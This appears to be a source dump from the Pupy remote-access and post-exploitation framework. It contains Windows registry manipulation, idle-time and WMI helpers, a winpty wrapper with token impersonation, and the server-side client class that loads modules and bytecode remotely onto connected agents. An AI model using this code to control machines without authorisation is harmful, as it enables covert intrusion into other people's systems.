
                    rc = RegQueryInfoKey(
                        self.handle, None, None, None, None,
                        None, None, None,
                        byref(value_size), byref(data_size),
                        None, None
                    )

                    raise_on_error(rc)

                    self.max_value_size = value_size.value + 2
                    self.max_data_size = data_size.value

                name, value, ktype = EnumValue(
                    self.handle, self.idx,
                    self.max_value_size, self.max_data_size
                )

                try:
                    result = Value(self.orig_name, name, value, ktype)
                except Exception as e:
                    raise ValueError('Value({}, {}, {}, {}) - {}'.format(
                        self.orig_name, name, repr(value), ktype, e))
            else:
                value = EnumKey(self.handle, self.idx)
                result = Key(u'\\'.join([self.orig_name, value]))

            self.idx += 1
            return result

        except WindowsError as e:
            if e.winerror != 259:
                self.idx += 1
                raise

            if self.is_value:
                raise StopIteration()
            else:
                self.idx = 0
                self.is_value = True
                return next(self)


class Value(object):
    __slots__ = ('parent', 'name', 'value', 'type')

    def __init__(self, parent, name, value, ktype):
        parent = try_as_unicode_string(parent, fail=False)
        name = try_as_unicode_string(name, fail=False)

        if len(value) < 5 and all(x == '\0' for x in value):
            value = ''

        if isinstance(value, bytes):
            if ktype in (REG_SZ, REG_EXPAND_SZ):
                try:
                    value = value.decode('utf-16le')
                except UnicodeError:
                    try:
                        value = value.decode('mbcs')
                    except UnicodeError:
                        raise ValueError('{}: {}'.format(repr(value), len(value)))

                value = value.rstrip('\0')

            elif ktype == REG_MULTI_SZ:
                values = []

                try:
                    value = value.decode('utf-16le')
                except UnicodeError:
                    try:
                        value = value.decode('mbcs')
                    except UnicodeError:
                        raise ValueError('{}: {}'.format(repr(value), len(value)))

                try:
                    end_of_value = value.index('\0\0')
                    value = value[:end_of_value]
                except ValueError:
                    pass

                while value:
                    try:
                        last_zero = value.index('\0')
                        record = value[:last_zero]
                        values.append(record)
                        value = value[last_zero+1:]
                    except ValueError:
                        break

                if value:
                    values.append(value)

                value = values

            elif ktype in (REG_DWORD, REG_DWORD_LITTLE_ENDIAN, REG_QWORD):
                value = unpack_dword(value, '<')

            elif ktype == REG_DWORD_BIG_ENDIAN:
                value = unpack_dword(value, '>')

        self.parent = parent
        self.name = name
        self.value = value
        self.type = ktype

    @property
    def raw(self):
        return value_to_bytes(self.value, self.type)

    def __str__(self):
        return as_native_string(self.value)

    def __int__(self):
        return int(self.value)

    def __repr__(self):
        return 'Value({}, {}, {}, {})'.format(
            repr(self.parent),
            repr(self.name),
            repr(self.value),
            repr(self.type)
        )


class Key(object):
    __slots__ = ('arg', 'key', 'sub', 'access', 'create')

    def __init__(self, key, access=KEY_READ, create=False):
        sub_key = None
        top_key = None

        key = try_as_unicode_string(key, fail=False)
        for wkk, wrk in WELL_KNOWN_KEYS.items():
            if key == wkk:
                top_key = wrk
                sub_key = ''
            elif key.startswith((wkk+'\\', wkk+'/')):
                top_key = wrk
                sub_key = key[len(wkk)+1:]
                break

        if not top_key:
            raise KeyError(key)

        sub_key = sub_key.strip('\\')

        self.key = top_key
        self.sub = sub_key
        self.arg = key
        self.access = access
        self.create = create

    @property
    def name(self):
        return self.arg.split('\\')[-1]

    @property
    def parent(self):
        return u'\\'.join(self.arg.split('\\')[:-1])

    def _open_key(self, access=KEY_READ):
        if access is None:
            access = self.access
        try:
            if self.create:
                return CreateKey(self.key, self.sub, access)
            else:
                return OpenKey(self.key, self.sub, access)

        except WindowsError as e:
            if e.winerror != 2:
                raise

            raise KeyError(self.sub)

    def _query_value(self, handle, attr):
        attr = try_as_unicode_string(attr, fail=False)
        try:
            value, ktype = QueryValueEx(handle, attr)
        except WindowsError as e:
            if e.winerror != 2:
                raise

            raise KeyError(attr)

        return Value(self.arg, attr, value, ktype)

    def __iter__(self):
        handle = self._open_key(
            KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS)

        iterator = KeyIter(self.arg, self.key, self.sub, handle)
        try:
            while True:
                try:
                    yield next(iterator)
                except WindowsError:
                    pass

        except StopIteration:
            return

        finally:
            CloseKey(handle)

    def __str__(self):
        return as_native_string(self.arg)

    def __unicode__(self):
        return try_as_unicode_string(self.arg, fail=False)

    def __repr__(self):
        return repr(self.arg)

    def __int__(self):
        return repr(self.arg)

    def __delitem__(self, attr):
        handle = self._open_key(KEY_SET_VALUE)

        try:
            try:
                return DeleteValue(handle, attr)
            except WindowsError as e:
                if e.winerror != 2:
                    raise

            try:
                return DeleteKey(handle, attr)
            except WindowsError as e:
                if e.winerror != 2:
                    raise

            raise KeyError(attr)

        finally:
            CloseKey(handle)

    def __getitem__(self, attr):
        handle = self._open_key(KEY_QUERY_VALUE)
        try:
            return self._query_value(handle, attr)
        finally:
            CloseKey(handle)

    def __setitem__(self, attr, value):
        vtype = type(value)

        if vtype not in WELL_KNOWN_TYPES and vtype is not Value:
            raise TypeError('setattr only supported for str/int')

        ktype = value.type if vtype is Value else WELL_KNOWN_TYPES[vtype]
        if vtype is Value:
            value = value.value
        elif ktype == REG_SZ and '%' in value:
            ktype = REG_EXPAND_SZ

        handle = self._open_key(KEY_ALL_ACCESS)
        try:
            return SetValueEx(
                handle, attr, ktype, value
            )
        finally:
            CloseKey(handle)

def _search(
    completed, data_cb, close_cb,
    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,
        name=True, value=True, regex=False,
        ignorecase=False, first=False, equals=False):

    compare = None

    def contains(u_term, b_term, i_term, value, ignorecase=False):
        if isinstance(value, unicode):
            if ignorecase:
                value = value.lower()
            return u_term in value
        elif isinstance(value, (int, long)):
            if i_term is None:
                return False
            return i_term == value
        elif isinstance(value, str):
            if ignorecase:
                value = value.lower()
            return b_term in value
        elif isinstance(value, list):
            return any(
                contains(
                    u_term, b_term, i_term, x, ignorecase
                ) for x in value
            )
        else:
            return False

    def issame(u_term, b_term, i_term, value, ignorecase=False):
        if isinstance(value, unicode):
            if ignorecase:
                value = value.lower()
            return u_term == value
        elif isinstance(value, (int, long)):
            if i_term is None:
                return False
            return i_term == value
        elif isinstance(value, str):
            if ignorecase:
                value = value.lower()
            return b_term == value
        elif isinstance(value, list):
            return any(
                issame(
                    u_term, b_term, i_term, x, ignorecase
                ) for x in value
            )
        else:
            return False

    if ignorecase:
        term = term.lower()

    u_term = try_as_unicode_string(term, fail=False)
    b_term = as_native_string(term)

    try:
        i_term = int(term)
    except ValueError:
        i_term = None

    if regex:
        term_re = re.compile(
            u_term,
            re.UNICODE | \
                re.MULTILINE | \
                    (re.IGNORECASE if ignorecase else 0))

        if equals:
            compare = lambda x: \
                term_re.match(x) if isinstance(x, unicode) else False
        else:
            compare = lambda x: \
                term_re.search(x) if isinstance(x, unicode) else False

    else:
        if equals:
            compare = lambda x: issame(u_term, b_term, i_term, x, ignorecase)
        else:
            compare = lambda x: contains(u_term, b_term, i_term, x, ignorecase)

    if type(roots) in (str, unicode):
        roots = [roots]

    def _walk(root, data_cb):
        for kv in root:
            if completed.is_set():
                break

            if isinstance(kv, Key):
                if key and compare(kv.name):
                    data_cb((True, kv.name))
                    if first:
                        completed.set()
                        return

                try:
                    _walk(kv, data_cb)
                except WindowsError:
                    pass

            elif isinstance(kv, Value):
                if (
                    name and compare(kv.name)
                ) or (
                    value and compare(kv.value)
                ):
                    data_cb((
                        False, kv.parent, kv.name,
                        kv.value, kv.type))
                    if first:
                        completed.set()
                        return
            else:
                raise TypeError(
                    'Unknown type {} in search'.format(
                        type(kv)))

    try:
        for root in roots:
            try:
                _walk(Key(root), data_cb)
            except WindowsError:
                continue

    except Exception as e:
        data_cb((None, '{}\n{}'.format(e, traceback.format_exc())))

    finally:
        if completed.is_set():
            data_cb((None, 'Interrupted'))

        completed.set()
        close_cb()


def search(
    data_cb, close_cb,
    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,
        name=True, value=True, regex=False,
        ignorecase=False, first=False, equals=False):

    data_cb = nowait(data_cb)
    close_cb = nowait(close_cb)

    completed = threading.Event()
    worker = threading.Thread(
        name='Reg:Search',
        target=_search,
        args=(
            completed,
            data_cb, close_cb,
            term, roots, key,
            name, value, regex,
            ignorecase, first, equals
        )
    )

    worker.start()

    def interrupt():
        completed.set()
        worker.join()

    return interrupt


def enum(path=None):
    if path is None:
        return [(
            True, unicode(item)
        ) for item in WELL_KNOWN_KEYS]

    try:
        tupleized = []

        for item in Key(path):
            if type(item) == Key:
                tupleized.append((True, unicode(item)))
            else:
                tupleized.append((
                    False, item.parent, item.name,
                    item.value, item.type))

        return tuple(tupleized)

    except KeyError:
        return None

def set(path, name, value, create):
    try:
        k = Key(path, create=create)
        try:
            old_value = k[name]
            if old_value.type in (REG_DWORD, REG_DWORD_LITTLE_ENDIAN):
                if not isinstance(value, (int, long)):
                    value = int(value)
        except KeyError:
            pass

        k[name] = value
        return True

    except KeyError:
        return False

def get(path, name):
    try:
        return Key(path)[name].value
    except KeyError:
        return None

def rm(path, name):
    try:
        del Key(path)[name]
        return True
    except KeyError:
        return False


================================================
FILE: pupy/packages/windows/all/uidle.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from ctypes import Structure, windll, c_uint, sizeof, byref

class LASTINPUTINFO(Structure):
    _fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_uint),
    ]

GetLastInputInfo = windll.user32.GetLastInputInfo

if hasattr(windll.kernel32, 'GetTickCount64'):
    from ctypes import c_ulonglong
    GetTickCount = windll.kernel32.GetTickCount64
    GetTickCount.restype = c_ulonglong
else:
    GetTickCount = windll.kernel32.GetTickCount
    GetTickCount.restype = c_uint

def get_gui_idle(display=None):
    lastInputInfo = LASTINPUTINFO()
    lastInputInfo.cbSize = sizeof(lastInputInfo)
    if GetLastInputInfo(byref(lastInputInfo)):
        millis = GetTickCount() - lastInputInfo.dwTime
        return int(millis / 1000)

def get_idle():
    return get_gui_idle()


================================================
FILE: pupy/packages/windows/all/winpty.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from contextlib import contextmanager
from pupwinutils.security import impersonate_token

from pupwinutils.security import (
    CreateFile, ReadFile, WriteFile, CloseHandle, TerminateProcess,
    GENERIC_READ, GENERIC_WRITE, OPEN_EXISTING, INVALID_HANDLE_VALUE
)

from ctypes import (
    c_int, c_uint, c_void_p, pointer, byref,
    c_ulonglong, CFUNCTYPE, WinError, get_last_error,
    create_string_buffer
)
from ctypes.wintypes import (
    HANDLE, DWORD, LPCWSTR, HWND,
)

import pupy.agent

if hasattr(pupy, 'get_logger'):
    logger = pupy.get_logger('winpty')
else:
    import logging
    logger = logging.getLogger('winpty')


WINPTY_ERROR_SUCCESS = 0
WINPTY_ERROR_OUT_OF_MEMORY = 1
WINPTY_ERROR_SPAWN_CREATE_PROCESS_FAILED = 2
WINPTY_ERROR_LOST_CONNECTION = 3
WINPTY_ERROR_AGENT_EXE_MISSING = 4
WINPTY_ERROR_UNSPECIFIED = 5
WINPTY_ERROR_AGENT_DIED = 6
WINPTY_ERROR_AGENT_TIMEOUT = 7
WINPTY_ERROR_AGENT_CREATION_FAILED = 8

WINPTY_FLAG_CONERR = 0x1
WINPTY_FLAG_PLAIN_OUTPUT = 0x2
WINPTY_FLAG_COLOR_ESCAPES = 0x4
WINPTY_FLAG_ALLOW_CURPROC_DESKTOP_CREATION = 0x8

WINPTY_MOUSE_MODE_NONE = 0
WINPTY_MOUSE_MODE_AUTO = 1
WINPTY_MOUSE_MODE_FORCE = 2

WINPTY_SPAWN_FLAG_AUTO_SHUTDOWN = 1
WINPTY_SPAWN_FLAG_EXIT_AFTER_SHUTDOWN = 2

DLLNAME = 'WINPTY.DLL'

class WinPty(object):
    def __init__(self):
        _functions = {
            'winpty_error_code': CFUNCTYPE(DWORD, c_void_p),
            'winpty_error_msg': CFUNCTYPE(LPCWSTR, c_void_p),
            'winpty_error_free': CFUNCTYPE(None, c_void_p),
            'winpty_config_new': CFUNCTYPE(c_void_p, c_ulonglong, c_void_p),
            'winpty_config_free': CFUNCTYPE(None, c_void_p),
            'winpty_config_set_initial_size': CFUNCTYPE(None, c_void_p, c_int, c_int),
            'winpty_config_set_mouse_mode': CFUNCTYPE(None, c_void_p, c_int),
            'winpty_config_set_htoken': CFUNCTYPE(None, c_void_p, c_void_p),
            'winpty_config_set_agent_timeout': CFUNCTYPE(None, c_void_p, c_uint),
            'winpty_open': CFUNCTYPE(c_void_p, c_void_p, c_void_p),
            'winpty_free': CFUNCTYPE(None, c_void_p),
            'winpty_agent_process': CFUNCTYPE(HWND, c_void_p),
            'winpty_spawn_config_new': CFUNCTYPE(
                c_void_p, c_ulonglong, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, c_void_p),
            'winpty_spawn_config_free': CFUNCTYPE(None, c_void_p),
            'winpty_spawn': CFUNCTYPE(c_int, c_void_p, c_void_p, c_void_p, c_void_p, c_void_p, c_void_p),
            'winpty_set_size': CFUNCTYPE(c_int, c_void_p, c_int, c_int, c_void_p),
            'winpty_conin_name': CFUNCTYPE(LPCWSTR, c_void_p),
            'winpty_conout_name': CFUNCTYPE(LPCWSTR, c_void_p),
            'winpty_conerr_name': CFUNCTYPE(LPCWSTR, c_void_p)
        }

        _new_api = set(['winpty_config_set_htoken'])

        for funcname, definition in _functions.items():
            funcaddr = pupy.find_function_address(DLLNAME, funcname)
            if not funcaddr and funcname not in _new_api:
                raise ImportError(
                    "Couldn't find function {} at winpty.dll".format(
                        funcname))

            setattr(self, funcname[len('winpty_'):], definition(funcaddr))

winpty = WinPty()

class WinPTYException(Exception):
    def __init__(self, code, message):
        Exception.__init__(self, message)
        self.code = code

@contextmanager
def winpty_error():
    error = c_void_p(None)
    try:
        yield pointer(error)
        code = winpty.error_code(error)
        if code != WINPTY_ERROR_SUCCESS:
            message = winpty.error_msg(error)
            raise WinPTYException(code, message)
    finally:
        winpty.error_free(error)


class WinPTY(object):
    def __init__(self, program,
            cmdline=None, cwd=None, env=None, htoken=None,
            spawn_flags=WINPTY_SPAWN_FLAG_AUTO_SHUTDOWN|WINPTY_SPAWN_FLAG_EXIT_AFTER_SHUTDOWN,
            pty_flags=0, pty_size=(80,25), pty_mouse=WINPTY_MOUSE_MODE_NONE):

        self._closed = False

        config = None
        try:
            with winpty_error() as error:
                config = winpty.config_new(pty_flags, error)

            cols, rows = pty_size
            if cols and rows:
                winpty.config_set_initial_size(config, cols, rows)
            winpty.config_set_mouse_mode(config, pty_mouse)

            if htoken:
                caller_thread_htoken, requested_htoken = htoken
                htokendup = impersonate_token(caller_thread_htoken)
                CloseHandle(caller_thread_htoken)

                if htokendup:
                    winpty.config_set_htoken(config, requested_htoken)

            with winpty_error() as error:
                self._pty = winpty.open(config, error)
        finally:
            winpty.config_free(config)

        self._conin = winpty.conin_name(self._pty)
        self._conout = winpty.conout_name(self._pty)
        self._conerr = winpty.conerr_name(self._pty)
        self._process_handle = None

        try:
            self._conin_pipe = CreateFile(
                self._conin,
                GENERIC_WRITE,
                0, None,
                OPEN_EXISTING,
                0, None
            )

            if self._conin_pipe == INVALID_HANDLE_VALUE:
                raise WinError(get_last_error())

            self._conout_pipe = CreateFile(
                self._conout,
                GENERIC_READ,
                0, None,
                OPEN_EXISTING,
                0, None
            )

            if self._conout_pipe == INVALID_HANDLE_VALUE:
                raise WinError(get_last_error())

            if self._conerr:
                self._conerr_pipe = CreateFile(
                    self._conerr,
                    GENERIC_READ,
                    0, None,
                    OPEN_EXISTING,
                    0, None
                )
                if self._conerr_pipe == INVALID_HANDLE_VALUE:
                    raise WinError(get_last_error())

            else:
                self._conerr_pipe = None

            try:
                spawn_ctx = None
                process_handle = HANDLE()
                thread_handle = HANDLE()
                create_process_error = DWORD()

                with winpty_error() as error:
                    spawn_ctx = winpty.spawn_config_new(
                        spawn_flags, program, cmdline, cwd, env, error
                    )

                with winpty_error() as error:
                    spawned = winpty.spawn(
                        self._pty, spawn_ctx,
                        pointer(process_handle),
                        pointer(thread_handle),
                        pointer(create_process_error),
                        error
                    )

                    if spawned:
                        self._process_handle = process_handle

            finally:
                winpty.spawn_config_free(spawn_ctx)

        except Exception as e:
            logger.exception(e)
            self.close()
            raise

    def write(self, data):
        if self._closed:
            return False

        written = DWORD()

        if not WriteFile(self._conin_pipe, data, len(data), byref(written), None):
            raise WinError(get_last_error())

    def read(self, amount=8192):
        buffer = create_string_buffer(amount)
        read = DWORD()

        if not ReadFile(self._conout_pipe, buffer, amount, byref(read), None):
            error = get_last_error()

            # Closed pipe
            if error == 109:
                return ''

            raise WinError(error)

        if not read.value:
            return ''

        return buffer[:read.value]

    def read_loop(self, read_cb):
        while True:
            data = self.read()
            if not data:
                break

            read_cb(data)

    def resize(self, cols, rows):
        if self._closed:
            return False

        with winpty_error() as error:
            winpty.set_size(self._pty, rows, cols, error)

    def close(self):
        if self._closed:
            return False

        self._closed = True

        if self._process_handle:
            try:
                TerminateProcess(self._process_handle, 0)
                CloseHandle(self._process_handle)
            except:
                pass

        CloseHandle(self._conin_pipe)
        CloseHandle(self._conout_pipe)

        if self._conerr_pipe:
            CloseHandle(self._conerr_pipe)

        winpty.free(self._pty)

    def __enter__(self):
        return self

    def __exit__(self, *args):
        self.close()


================================================
FILE: pupy/packages/windows/all/wql.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import wmi

def to_utf8(data):
    if isinstance(data, wmi._wmi_object):
        return to_utf8(data.id.split('!', 1)[1])

    elif type(data) != str:
        return data

    for encoding in ('utf-8', 'mbcs', 'utf-16le', 'latin1'):
        try:
            return data.decode(encoding)
        except UnicodeError:
            pass

    return data

def execute(query):
    try:
        client = wmi.WMI()
    except wmi.x_wmi_uninitialised_thread:
        import pythoncom
        pythoncom.CoInitialize()
        client = wmi.WMI()

    return client.query(query)

def execute_final(query):
    response = execute(query)

    columns = set()
    result = []

    for item in response:
        columns.update(item.properties)

        result.append(
            tuple(
                (
                    to_utf8(column), to_utf8(getattr(item, column))
                ) for column in item.properties
            )
        )

    _query = query.lower()
    try:
        idx_select = _query.index('select') + 7
        idx_from = _query.index('from')

        fields = to_utf8(query[idx_select:idx_from])
        if '*' not in fields:
            maybe_columns = tuple(x.strip() for x in fields.split(','))
            if all(column in columns for column in maybe_columns):
                columns = maybe_columns

    except ValueError:
        pass

    return tuple(columns), tuple(result)


================================================
FILE: pupy/payload_templates/.keep
================================================


================================================
FILE: pupy/pupylib/PupyCategories.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from . import conf

import logging

class PupyCategories(object):
    def __init__(self, pupsrv):
        self.pupsrv=pupsrv
        self.categories={} #sorted by category
        for c in conf.categories:
            self.categories[c]=[]
        self.shell_list=[]
        self.os_shell_lists={"android":[], "windows":[], "linux":[], "osx":[]}
        self.parse_categories()

    def parse_categories(self):
        #init categories dic
        for mod in self.pupsrv.iter_modules():
            if not mod.category:
                mod.category="general"
            if mod.category not in self.get_categories():
                logging.warning("Undefined category \"%s\" for module %s"%(mod.category, mod.get_name()))
                self.categories["general"].append(mod)
            else:
                self.categories[mod.category].append(mod)
            #fill shell_list for fast auto-completion:
            self.shell_list.append("%s/%s"%(mod.category,mod.get_name()))
            for system in self.os_shell_lists:
                if self.is_os_compatible(mod, system):
                    self.os_shell_lists[system].append("%s/%s/%s"%(system,mod.category,mod.get_name()))

    def is_os_compatible(self, mod, system):
        if len(mod.compatible_systems)==0 or "all" in mod.compatible_systems:
            return True
        elif system in mod.compatible_systems:
            return True
        elif system=="unix" and any([True for x in mod.compatible_systems if x in ["osx", "darwin", "linux", "android"]]):
            return True
        return False

    def get_module_from_path(self, shell_path):
        """ take a auto-completed path and return the corresponding module """
        tab = shell_path.strip('/').split('/')
        if len(tab) == 2: #cat/mod
            for mod in self.categories[tab[0]]:
                if mod.get_name() == tab[1]:
                    return mod
        elif len(tab) == 3: #os/cat/mod
            for mod in self.categories[tab[1]]:
                if self.is_os_compatible(mod, tab[0]) and mod.get_name()==tab[2]:
                    return mod

    def get_categories(self):
        return conf.categories

    def get_modules_by_category(self, category, system=None):
        """ return all modules in a category. Also filter by os if system is not None """
        if system is None:
            return self.categories[category]
        else:
            modules = []
            for mod in self.categories[category]:
                if system in mod.compatible_systems:
                    modules.append(mod)
            return modules

    def get_shell_list(self, start_text):
        """ return a list of modules sorted for shell auto completion """
        for k in self.os_shell_lists:
            if start_text.startswith(k):
                return [x+" " for x in self.os_shell_lists[k] if x.startswith(start_text)]
        completions = [
            x+" " for x in self.shell_list if x.startswith(start_text)
        ] + [
            x+"/" for x in self.os_shell_lists if x.startswith(start_text)
        ]

        if not completions:
            completions += [
                x.rsplit("/",1)[1]+" " for x in self.shell_list if x.rsplit("/",1)[1].startswith(start_text)
            ]

        return completions


================================================
FILE: pupy/pupylib/PupyClient.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import zlib

import umsgpack
import sys

from threading import Lock
from os import path

from . import ROOT
from .PupyCompile import pupycompile
from .PupyTriggers import event

from .payloads import dependencies
from .utils.rpyc_utils import obtain
from .utils.arch import make_os_arch, make_proc_arch

from pupy.network.lib.rpc import nowait
from pupy.network.lib.convcompat import (
    as_native_string, as_unicode_string_deep,
    reprb
)

from . import getLogger
logger = getLogger('client')

if sys.version_info.major > 2:
    basestring = str


class PupyClient(object):
    def __init__(self, desc, pupsrv):
        self.desc = as_unicode_string_deep(desc)

        if __debug__:
            logger.debug(
                'New client, desc: %s (%s) -> %s (%s)',
                desc, type(desc), self.desc, type(self.desc)
            )

        # alias
        self.conn = self.desc['conn']

        self.is3to2 = (self.conn.remote_version[0] == 2 and sys.version_info.major == 3)

        self.target = dependencies.Target(
            self.conn.remote_version,
            (
                self.platform, self.arch
            ),
            debug='debug_logfile' in self.desc,
            purepy=self.conn.remote_is_purepy
        )

        self.conn.events_receiver = self._event_receiver

        self.pupsrv = pupsrv
        self.imported_dlls = set()
        self.imported_modules = set()
        self.cached_modules = set()
        self.pupyimporter = None
        self.pupy_load_dll = False
        self.new_dlls = False
        self.new_modules = False
        self.remotes = {}
        self.remotes_lock = Lock()
        self.obtain_call = None

        if self.conn.protocol_version is None:
            # Legacy client
            logger.warning("legacy init")
            self._legacy_init()
        else:
            # Extended init
            self._versioned_init(self.conn.protocol_version)

        # To reuse impersonated handle in other modules
        self.impersonated_dupHandle = None

    def __str__(self):
        return '{PupyClient(id=%s, user=%s, hostname=%s, target=%s)}' % (
            self.desc['id'], self.desc['user'],
            self.desc['hostname'], self.target
        )

    @property
    def id(self):
        return self.desc['id']

    def _event_receiver(self, eventid):
        event(eventid, self, self.pupsrv, **self.desc)

    def get_conf(self):
        return {
            k: v for k, v in self.desc.items() if k in (
                'offline_script', 'launcher', 'launcher_args',
                'cid', 'debug'
            )
        }

    def short_name(self):
        try:
            return '_'.join([
                self.desc['platform'][0:3].lower(),
                self.desc['hostname'],
                self.desc.get(
                    'node', self.desc['macaddr'].replace(':', ''))
            ])

        except Exception:
            return 'unknown'

    def node(self):
        return self.desc['macaddr'].replace(':', '').lower()

    def is_unix(self):
        return not self.is_windows()

    def is_posix(self):
        return self.desc['os_name'].lower() == 'posix'

    def is_linux(self):
        return 'linux' in self.desc['platform'].lower()

    def is_java(self):
        return 'java' in self.desc['platform'].lower()

    def is_android(self):
        return self.desc['platform'].lower() == 'android'

    def is_windows(self):
        if 'windows' in self.desc['platform'].lower():
            return True
        return False

    def is_solaris(self):
        return 'sunos' in self.desc['platform'].lower()

    def is_darwin(self):
        if 'darwin' in self.desc['platform'].lower():
            return True
        return False

    @property
    def platform(self):
        if self.is_android():
            return 'android'
        elif self.is_windows():
            return 'windows'
        elif self.is_linux():
            return 'linux'
        elif self.is_darwin():
            return 'darwin'
        elif self.is_solaris():
            return 'solaris'
        elif self.is_unix():
            return 'unix'

    @property
    def os_arch(self):
        return make_os_arch(
            self.desc['os_arch'].lower()
        )

    @property
    def arch(self):
        return make_proc_arch(
            self.os_arch, self.desc['proc_arch']
        )

    def remote(self, module, function=None, need_obtain=True):
        remote_module = None
        remote_function = None
        need_obtain = need_obtain and self.obtain_call is not False

        with self.remotes_lock:
            if module in self.remotes:
                remote_module = self.remotes[module]['_']
            else:
                remote_module = getattr(self.conn.modules, module)
                self.remotes[module] = {
                    '_': remote_module
                }

            if function:
                if function in self.remotes[module]:
                    remote_function = self.remotes[module][function]
                else:
                    remote_function = getattr(
                        self.conn.modules[module], function
                    )
                    self.remotes[module][function] = remote_function

        if function and need_obtain:
            if self.obtain_call:

                def _call_wrapper(*args, **kwargs):
                    return self.obtain_call(remote_function, *args, **kwargs)

                return _call_wrapper

            else:
                def _call_wrapper(*args, **kwargs):
                    return obtain(remote_function(*args, **kwargs))

                return _call_wrapper

        elif function:
            return remote_function

        else:
            return remote_module

    def remote_const(self, module, variable):
        remote_module = None
        remote_variable = None

        with self.remotes_lock:
            if module in self.remotes:
                remote_module = self.remotes[module]['_']
            else:
                remote_module = getattr(self.conn.modules, module)
                self.remotes[module] = {
                    '_': remote_module
                }

            if variable in self.remotes[module]:
                remote_variable = self.remotes[module][variable]
            else:
                remote_variable = obtain(
                    getattr(self.conn.modules[module], variable)
                )
                self.remotes[module][variable] = remote_variable

        return remote_variable

    def _versioned_init(self, version):
        self.pupyimporter = self.conn.pupyimporter

        register_package_request_hook = nowait(
            self.conn.pupyimporter_funcs['register_package_request_hook']
        )

        register_package_error_hook = nowait(
            self.conn.pupyimporter_funcs['register_package_error_hook']
        )

        self.conn.register_remote_cleanup(
            self.conn.pupyimporter_funcs['unregister_package_request_hook']
        )

        register_package_request_hook(self.remote_load_package)

        self.conn.register_remote_cleanup(
            self.conn.pupyimporter_funcs['unregister_package_error_hook']
        )

        register_package_error_hook(self.remote_print_error)

        self.pupy_load_dll = self.conn.pupyimporter_funcs['load_dll']
        self.remote_add_package = nowait(
            self.conn.pupyimporter_funcs['pupy_add_package']
        )
        self.remote_invalidate_package = nowait(
            self.conn.pupyimporter_funcs['invalidate_module']
        )

        self.new_dlls = self.conn.pupyimporter_funcs['new_dlls']
        self.new_modules = self.conn.pupyimporter_funcs['new_modules']

        self.obtain_call = lambda func, *args, **kwargs: func(*args, **kwargs)

        self.imported_modules = self.conn.remote_loaded_modules
        self.cached_modules = self.conn.remote_cached_modules

    def _legacy_init(self):
        """ load pupyimporter in case it is not extended version """

        if not self.conn.pupyimporter:
            try:
                self.pupyimporter = self.remote('pupyimporter')
            except Exception:
                self.conn.execute('\n'.join([
                    'import importlib.util, sys, marshal',
                    'mod = importlib.util.module_from_spec(importlib.util.spec_from_loader("pupyimporter", loader=None))',
                    'mod.__file__="<bootloader>/pupyimporter"',
                    'exec(marshal.loads({}), mod.__dict__)'.format(
                        reprb(pupycompile(
                            path.join(
                                ROOT, 'packages', 'all', 'pupyimporter.py'
                            ),
                            'pupyimporter.py',
                            path=True, raw=True,
                            target=self.target.pyver
                        ))
                    ),
                    'sys.modules["pupyimporter"]=mod',
                    'mod.install()']))

                self.pupyimporter = self.remote('pupyimporter')
        else:
            self.pupyimporter = self.conn.pupyimporter

        if self.conn.register_remote_cleanup:
            register_package_request_hook = nowait(
                self.pupyimporter.register_package_request_hook
            )

            register_package_error_hook = nowait(
                self.pupyimporter.register_package_error_hook
            )

            self.conn.register_remote_cleanup(
                self.pupyimporter.unregister_package_request_hook
            )

            register_package_request_hook(
                self.remote_load_package
            )

            self.conn.register_remote_cleanup(
                self.pupyimporter.unregister_package_error_hook
            )

            register_package_error_hook(self.remote_print_error)

        self.pupy_load_dll = getattr(self.pupyimporter, 'load_dll', None)
        self.remote_add_package = nowait(self.pupyimporter.pupy_add_package)
        self.remote_invalidate_package = nowait(
            self.pupyimporter.invalidate_module
        )

        if self.conn.obtain_call:
            def obtain_call(function, *args, **kwargs):
                if args or kwargs:
                    packed_args = umsgpack.dumps((args, kwargs))
                    packed_args = zlib.compress(packed_args)
                else:
